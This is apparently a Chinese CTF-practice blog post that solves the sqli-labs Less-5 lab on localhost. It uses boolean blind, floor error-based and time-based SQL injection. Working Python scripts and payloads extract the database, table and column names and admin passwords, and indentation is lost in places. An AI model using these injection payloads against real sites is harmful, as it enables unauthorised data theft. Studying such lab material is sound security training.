zoey

谷歌浏览器可正常显示图片

0%

细说sqli_labs Less-5

前言:sql注入是ctf比赛中的一大考点,借助这道题复习一下sql注入,使用三种方法解答这道题,主要练习编写sql注入脚本。

判断注入类型

用sqlmap判断注入类型,可以看到这道题有三种解题方法,分别是布尔盲注,报错注入,以及延时注入。

1
python sqlmap.py -u http://127.0.0.1/sqli/Less-5/?id=1

布尔盲注

通过报错"1"LIMIT 0,1',可以推出我们输入的内容构成的查询语句为'1"LIMIT 0,1,可以看出id是用一对单引号闭合的,我们输入1‘导致报错。

绕过报错

我们输入一个单引号与后面的一个单引号结合导致报错,猜想如果我们把后面的单引号注释掉就可以绕过报错。

查看mysql写注释的方法,有三种

  • #
  • –+(–空格)
  • /**/ 适用于多行注释
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
mysql> select * from flag;#select database();
+--------------------+
| flag |
+--------------------+
| flag{flag is here} |
+--------------------+
1 row in set

->
-> ;
Query OK, 0 rows affected

mysql> select * from flag;-- select database();
+--------------------+
| flag |
+--------------------+
| flag{flag is here} |
+--------------------+
1 row in set

-> ;
Query OK, 0 rows affected


mysql> select * from flag;/*select database();*/
+--------------------+
| flag |
+--------------------+
| flag{flag is here} |
+--------------------+
1 row in set

-> select * from flag;/*select database();*/;
+--------------------+
| flag |
+--------------------+
| flag{flag is here} |
+--------------------+
1 row in set

Query OK, 0 rows affected


我们可以看到使用–空格可以绕过报错,而使用#不能绕过报错。我们打开burpsuit分析,可以发现#显示黑色,也就是说#没有成功进入url访问,导致无法绕过。但用#的url编码%23可以绕过。

BurpSuite爆破

当我们输入的语句正确且我们判断正确时,会返回You are in ...的界面,当我们输入的语句正确且判断语句错误时会返回空白。据此,我们可以通过返回的页面来查看我们的判断语句是否正确。

这里先介绍几个函数的用法

substr()函数返回字符串的一小部分,substr(string,start,length)(length为1,即从第一个字母开始)

limit的使用格式为limitm,n,其中m是指记录开始的位置,n是指取几条记录。(第一条记录是从0开始)

ascii(str): str是一个字符串参数,返回值字符串的ascii码。

timeout:设定超时时间,秒为单位,在设定时间内没有返回内容则返回一个timeout异常

下面开始进行爆破,爆破的顺序是数据库名,表名,字段名,字段值。

爆破数据库的第一个字符,返回空白,即第一个字符不是a。

可以使用burpsuit的intruder模块对字符a进行爆破。

从这个例子可以看到,数据库的第一个字母为s,且mysql对字母大小写不敏感。但使用这种方法速度较低,我们可以直接爆破整个数据库名。

第一个爆破的数字为数字,设置为1到10;第二个爆破的数字为字符,字典为

1
abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()-=_;',.'<>?`~\|/

通过爆破我们可以简单看出,数据库名为secrity

使用这个方法较为简单,但是所花的时间相对较长,在ctf比赛中,该方法并不是为最优的,下面介绍使用脚本破解。

简单脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
tables = "abcdefghijklmnopqrstuvwxyz123456789!@#$Z%^&*()\][;'.,/`·-=']"
s = ''
for j in range(1,10):
for i in tables:
url = "http://127.0.0.1/sqli/Less-5/?id=1' and substr(database(),%d,1)='%s'--+"%(j,i)
r=requests.get(url)
if "You are in" in r.text:
s=s+i
print(s)
break

#database()=security

爆破表名的url为

1
2
3
4
5
6
url = "http://127.0.0.1/sqli/Less-5/?id=1' and substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 1,1),%d,1)='%s'--+"%(j,i)

#第一个表名 admin
#第二个表名 emails
#第三个表名 student
#第四个表名 uagents

爆破字段名的url

1
2
3
url = http://127.0.0.1/sqli/Less-5/?id=1' and substr(( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1),%d,1)='%s'--+"%(j,i)

#admin 有三个字段名 id,username,password

爆破字段值的url

1
url = "http://127.0.0.1/sqli/Less-5/?id=1' and substr(( select id from admin limit 0,1),%d,1)='%s'--+"%(j,i)

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
tables = "abcdefghijklmnopqrstuvwxyz123456789"
#爆数据库名
pay = 'database()'
#爆表
#pay = "(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 1,1)"
#爆字段名
#pay= "( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1)"
#爆字段值
#pay = "(select password from admin limit 0,1)"
s = ''
for j in range(1,10):
for i in tables:
url = "http://127.0.0.1/sqli/Less-5/?id=1' and substr("+pay+",%d,1)='%s'--+"%(j,i)
r=requests.get(url)
if "You are in" in r.text:
s=s+i
print(s)
break

二分法脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
#爆数据库名
pay = 'database()'
#爆表
#pay = "(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 1,1)"
#爆字段名
#pay= "( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1)"
#爆字段值
#pay = "(select password from admin limit 0,1)"
s = ''
#for j in range(1,10):
for i in range(1, 10):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
url = "http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr("+pay+",%d,1))<='%s'--+"%(i,mid)
r=requests.get(url)
if "You are in" in r.text:
high = mid
else:
low = mid+1
mid = (low + high) // 2
s += chr(int(mid))
print(s)

报错注入

SQL报错注入就是利用数据库的某些查询报错的机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

这里我们使用floor报错来解题。(floor报错原理这里不再叙述)

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import re
#爆数据库
pay="database()"
#爆表
#pay = "(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 1,1)"
#爆字段名
#pay= "( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1)"
#爆字段值
#pay = "(select password from admin limit 0,1)"
url = "http://127.0.0.1/sqli/Less-5/?id=1%27%20and id=1 and (select 1 from (select count(*),concat("+pay+",floor(rand(0)*2))x from information_schema.tables group by x)a) --+;"
r=requests.get(url)
print(re.findall("Duplicate entry '(.*?)1' for key",r.text))

延时注入

当判断错误时,1秒多就返回页面。

当判断正确时,会休眠5秒后再返回页面,也就6秒多才返回页面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
tables = "abcdefghijklmnopqrstuvwxyz123456789!@#$%^&*()_+{}|?><"
#爆数据库名
pay = 'database()'
#爆表
#pay = "(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 1,1)"
#爆字段名
#pay= "( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1)"
#爆字段值
#pay = "(select password from admin limit 0,1)"
s = ''
for j in range(1,10):
for i in tables:
url = "http://127.0.0.1/sqli/Less-5/?id=1' and if(substr("+pay+",%d,1)='%s',sleep(5),0)--+"%(j,i)

try:
r=requests.get(url=url,timeout=3)
#print(url)
except Exception as e:
s=s+i
print(s)
break